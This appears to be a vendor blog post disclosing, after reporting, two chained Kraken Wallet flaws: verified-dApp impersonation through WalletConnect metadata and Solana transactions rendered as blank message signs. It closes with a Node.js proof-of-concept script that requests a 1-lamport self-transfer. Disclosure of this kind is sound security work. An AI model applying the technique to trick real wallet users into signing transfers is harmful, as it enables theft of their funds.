For Part 2 of our Securing Open Source series, we pointed the Veria AI at Kraken Wallet.
TL;DR
- A malicious dApp can impersonate a verified dApp, bypassing Kraken’s malicious dApp warning.
- Solana dApp transactions can be disguised as a message sign instead of a transaction sign
What is Kraken Wallet?
Kraken Wallet is a self-custody mobile app for iOS and Android, separate from Kraken’s main exchange apps (Kraken, Kraken Pro, and Krak). The wallet supports multiple chains including Bitcoin, Ethereum, Solana, Polygon, etc letting users store crypto, NFTs, and other DeFi operations. For dApp connectivity it relies on WalletConnect, which is where the vulnerabilities we found come in. It’s a fully non-custodial wallet which allows users to be in full control of their private key.
Notably, Kraken Wallet is open source with its codebase available on GitHub.
Vulnerability Analysis
We’ll cover each bug individually and how they were chained together to make the full exploit chain. Kraken Wallet had 2 security issues:
Verified dApp Impersonation
The handleSessionProposal determines which URL to analyze for safety. It prefers the verified origin but falls back to the metadata.url provided by the dApp itself if the verified origin is null.
const url = proposal?.verifyContext?.verified?.origin ?? proposal.params.proposer.metadata.url;// ...const analyseUrlResult = await analyseUrl(url, allAccounts);So, any new dApp created via WalletConnect or another dApp maker can change their metadata to a verified dApp provider from Kraken. For the PoC, we chose Uniswap https://app.uniswap.org.
Since the verified origin is null, the application passes the legitimate Uniswap URL to analyseUrl. This function correctly reports that Uniswap is safe (isMalicious: false).
Transactions Disguised as Messages
The wallet signs messages without domain separation. The function decodes a base58 input string and signs the raw bytes directly.
async signMessage(data: WalletDataWithSeed, message: string): Promise<{ signature: string }> { const keyPair = await this.getKeypair(data); const signature = nacl.sign.detached(bs58.decode(message), keyPair.secretKey);
return { signature: bs58.encode(signature) }; }You can create a transaction with a transaction instruction inside. Then, base58 encode it before passing it into signMessage through the dApp. When the user interacts with the transaction, the Kraken UI renders the transaction as a message instead of a transfer.
Impact
By chaining both vulenrabilites together, an attacker can effectively create a verified dApp that steals a targeted users funds if they sign a “message.”
First, when connecting to the dApp through Kraken, the spoofed URL in the dApp metadata fully bypasses the “App safety not verified” warning.

Then, when a request is sent from the dApp for the transfer transaction, the Kraken Wallet app displays a “Sign Message” prompt with a blank message instead of displaying a “Contract Interaction” along with the transaction bytes for verification.

Remediation & Kraken Response
Both bugs were reported as a single vulnerbaility to the Kraken team on 03-18-2026. Within 24 hours, the Kraken team had confirmed its validity. Unfortunately for the bug bounty, this was flagged as a duplicate and was ineligible for a payout.
Closing Thoughts
While this isn’t a high or critical severity finding, the exploit chain still demonstrates risk. A user could be tricked into signing a transfer transaction through what appears to be a message from a verified dApp. It’s a good reminder that even small issues can compound into bigger threats when chained together.
We’ll continue publishing findings from our agent in this series. If you want to know what vulnerabilities are sitting in your codebase, book a call.
Timeline
- 03/17/2026 - Veria AI ran on Kraken Wallet
- 03/17/2026 - Veria AI finds and verifies both vulnerabilites
- 03/18/2026 - Reported to Kraken Security Team
- 03/18/2026 - Kraken confirms internal duplicate finding
- ??/??/2026 - Both vulnerabilities are patched
It is unknown exactly when this bug was patched, but we can assume it was fixed sometime in between 03/18/2026 and 04/08/2026.
PoC
import readline from "node:readline/promises";import { stdin as input, stdout as output } from "node:process";import { inspect } from "node:util";
import * as SignClientPkg from "@walletconnect/sign-client";import bs58 from "bs58";import qrcode from "qrcode-terminal";import { Connection, PublicKey, SystemProgram, TransactionMessage, VersionedTransaction } from "@solana/web3.js";
const PROJECT_ID = "166e072e1ac6c2d9ad7caad68fc69e90";const CHAIN_ID = process.env.SOLANA_CHAIN_ID || "solana:5eykt4UsFv8P8NJdTREpY1vzqKqZKvdp";const RPC_URL = process.env.SOLANA_RPC_URL || "https://api.mainnet-beta.solana.com";
if (!PROJECT_ID) { console.error("Missing WALLETCONNECT_PROJECT_ID env var."); process.exit(1);}
function parseAccount(accountString) { const [namespace, reference, address] = accountString.split(":"); return { namespace, reference, address };}
function resolveSignClient() { const SignClient = SignClientPkg?.SignClient || SignClientPkg?.default?.SignClient || SignClientPkg?.default; if (!SignClient || typeof SignClient.init !== "function") { throw new Error("Unable to resolve SignClient.init from @walletconnect/sign-client"); } return SignClient;}
function buildTxVariants(owner, blockhash) { const ixs = [ SystemProgram.transfer({ fromPubkey: owner, toPubkey: owner, lamports: 1, }), ];
const messageV0 = new TransactionMessage({ payerKey: owner, recentBlockhash: blockhash, instructions: ixs, }).compileToV0Message(); const v0tx = new VersionedTransaction(messageV0); const v0wire = Buffer.from(v0tx.serialize());
const base64Params = { transaction: v0wire.toString("base64") }; const base58Params = { transaction: bs58.encode(v0wire) };
return [ { label: "object/base64", params: base64Params }, { label: "array[object]/base64", params: [base64Params] }, { label: "object/base58", params: base58Params }, { label: "array[object]/base58", params: [base58Params] }, ];}
async function requestSignTransaction(client, topic, chainId, variants) { let lastError; for (const variant of variants) { try { console.log(`Trying variant: ${variant.label}`); const result = await client.request({ topic, chainId, request: { method: "solana_signTransaction", params: variant.params, }, }); return { variant: variant.label, result }; } catch (error) { lastError = error; console.log(`Variant failed: ${variant.label}`); console.log(inspect(error, { depth: 6, showHidden: true })); } } throw lastError ?? new Error("All signTransaction variants failed");}
async function main() { const rl = readline.createInterface({ input, output }); const connection = new Connection(RPC_URL, "confirmed"); const SignClient = resolveSignClient();
const client = await SignClient.init({ projectId: PROJECT_ID, metadata: { name: "WC Solana direct signTransaction PoC", description: "PoC for direct solana_signTransaction request", url: "https://thisshiiskindacrazy.org", icons: ["https://walletconnect.com/walletconnect-logo.png"], }, });
const optionalNamespaces = { solana: { methods: ["solana_signTransaction", "solana_signMessage"], chains: [CHAIN_ID], events: [], }, };
const { uri, approval } = await client.connect({ optionalNamespaces }); if (uri) { console.log("\nScan this QR with Kraken Wallet:\n"); qrcode.generate(uri, { small: true }); console.log("\nPairing URI:\n", uri, "\n"); }
console.log("Waiting for wallet approval..."); const session = await approval(); const accounts = session.namespaces?.solana?.accounts ?? []; if (accounts.length === 0) { throw new Error("No Solana account in approved session."); }
const chosen = accounts.find(a => a.startsWith(`${CHAIN_ID}:`)) || accounts[0]; const { namespace, reference, address } = parseAccount(chosen); const chainId = `${namespace}:${reference}`; const owner = new PublicKey(address); const { blockhash } = await connection.getLatestBlockhash("confirmed");
console.log("Session approved:", session.topic); console.log("Session methods:", session.namespaces?.solana?.methods ?? []); console.log("Session chains:", session.namespaces?.solana?.chains ?? []); console.log("Using account:", chosen); console.log("RPC:", RPC_URL); console.log("Balance (lamports):", await connection.getBalance(owner, "confirmed")); console.log("Blockhash:", blockhash);
const variants = buildTxVariants(owner, blockhash);
await rl.question("\nPress Enter to request solana_signTransaction..."); const { variant, result } = await requestSignTransaction(client, session.topic, chainId, variants);
console.log("\nSuccess."); console.log("Accepted variant:", variant); console.log("Response:", result);
await rl.question("\nPress Enter to disconnect..."); await client.disconnect({ topic: session.topic, reason: { code: 6000, message: "PoC complete" }, }); rl.close();}
main().catch(error => { console.error("\nFatal error:", error); process.exit(1);});About Us
At Veria Labs, we build AI pentesting agents that automatically find and fix security vulnerabilities in your application. Founded by members of the #1 competitive hacking team in the U.S., we’ve found critical vulnerabilities in every company we’ve worked with, from small startups to enterprise giants.
Think we can help secure your systems? We’d love to chat! Book a call here.